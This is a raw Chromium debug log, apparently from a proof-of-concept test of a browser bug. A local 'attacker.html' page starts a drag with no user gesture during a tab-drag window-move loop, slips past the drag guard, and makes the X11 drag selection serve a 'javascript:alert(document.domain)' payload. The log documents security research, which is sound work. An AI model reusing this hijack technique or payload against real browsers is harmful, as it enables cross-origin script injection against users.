[5165:5165:0530/005700.163078:ERROR:chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc:1757] [POC-BROWSER] TabDragController::RunMoveLoop ENTER (window-move path: g_is_dragging is NOT set on this path) move_loop_widget=0x78ee63890080 [5165:5165:0530/005700.163135:ERROR:ui/ozone/platform/x11/x11_window.cc:1648] [POC-BROWSER] X11Window::RunMoveLoop (WINDOW-MOVE entry) this=0x78ce63917880 HasCapture=1 -> X11DesktopWindowMoveClient (does NOT set g_is_dragging) [5165:5165:0530/005700.163344:ERROR:ui/base/x/x11_whole_screen_move_loop.cc:186] [POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop (kNestableTasksAllowed) ENTER this=0x783e63b8a6e8 nesting_depth=1 grabbed_pointer=0 [5165:5165:0530/005700.212068:ERROR:ui/base/x/x11_whole_screen_move_loop.cc:193] [POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop EXIT this=0x783e63b8a6e8 nesting_depth=1 [5165:5165:0530/005700.455278:ERROR:chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc:1757] [POC-BROWSER] TabDragController::RunMoveLoop ENTER (window-move path: g_is_dragging is NOT set on this path) move_loop_widget=0x78ee639c4880 [5165:5165:0530/005700.455754:ERROR:ui/ozone/platform/x11/x11_window.cc:1648] [POC-BROWSER] X11Window::RunMoveLoop (WINDOW-MOVE entry) this=0x78ce63a46880 HasCapture=1 -> X11DesktopWindowMoveClient (does NOT set g_is_dragging) [5165:5165:0530/005700.455947:ERROR:ui/base/x/x11_whole_screen_move_loop.cc:186] [POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop (kNestableTasksAllowed) ENTER this=0x783e63d7b6d8 nesting_depth=1 grabbed_pointer=0 [5165:5165:0530/005702.218135:INFO:CONSOLE:24] "[POC-PAGE] setting title to POC_FIRE_DRAG", source: http://127.0.0.1:18080/attacker.html (24) [5275:5275:0530/005702.220241:ERROR:third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:2708] [POC-RENDERER] firing LocalFrameHost::StartDragging with NO user gesture; event_info.location=1250,1219 widget_screen_rect=904,1043 692x353 [5165:5165:0530/005702.221912:ERROR:content/browser/web_contents/web_contents_view_aura.cc:1200] [POC-BROWSER] WebContentsViewAura::StartDragging ENTER url0=javascript:alert(document.domain)//drag-payload-hijacked event_info.location=1250,1219 content_bounds=904,1043 692x353 [5165:5165:0530/005702.222784:ERROR:ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc:156] [POC-BROWSER] DesktopDragDropClientOzone::StartDragAndDrop ENTER this=0x789e6369a9c0 root_window=0x78ce6370e480 g_is_dragging=0 [5165:5165:0530/005702.222815:ERROR:ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc:164] [POC-BROWSER] -> g_is_dragging guard PASSED (guard does not cover window-move loop) [5165:5165:0530/005702.222832:ERROR:ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc:175] [POC-BROWSER] -> ReleaseCapture() on PROCESS-GLOBAL capture_window=0x78ce63a46280 (this is the tab-drag's window if a tab-drag is in progress) [5165:5165:0530/005702.222950:ERROR:ui/ozone/platform/x11/x11_window.cc:664] [POC-BROWSER] X11Window::ReleaseCapture this=0x78ce63a46880 -> UngrabPointer() (X11 pointer grab released) [5165:5165:0530/005702.223085:ERROR:ui/ozone/platform/x11/x11_window.cc:1671] [POC-BROWSER] X11Window::StartDrag ENTER this=0x78ce6370ea80 can_grab_pointer=1 -> XDragDropClient::InitDrag will take XdndSelection [5165:5165:0530/005702.223211:ERROR:ui/base/x/selection_owner.cc:145] [POC-BROWSER] SelectionOwner::TakeOwnershipOfSelection selection_name_=371 x_window_=35651654 (XdndSelection now serves the attacker payload) [5165:5165:0530/005702.223715:ERROR:ui/base/x/x11_whole_screen_move_loop.cc:186] [POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop (kNestableTasksAllowed) ENTER this=0x781e639cfa20 nesting_depth=2 grabbed_pointer=1 [5165:5165:0530/005708.751647:ERROR:ui/base/x/x11_whole_screen_move_loop.cc:193] [POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop EXIT this=0x781e639cfa20 nesting_depth=2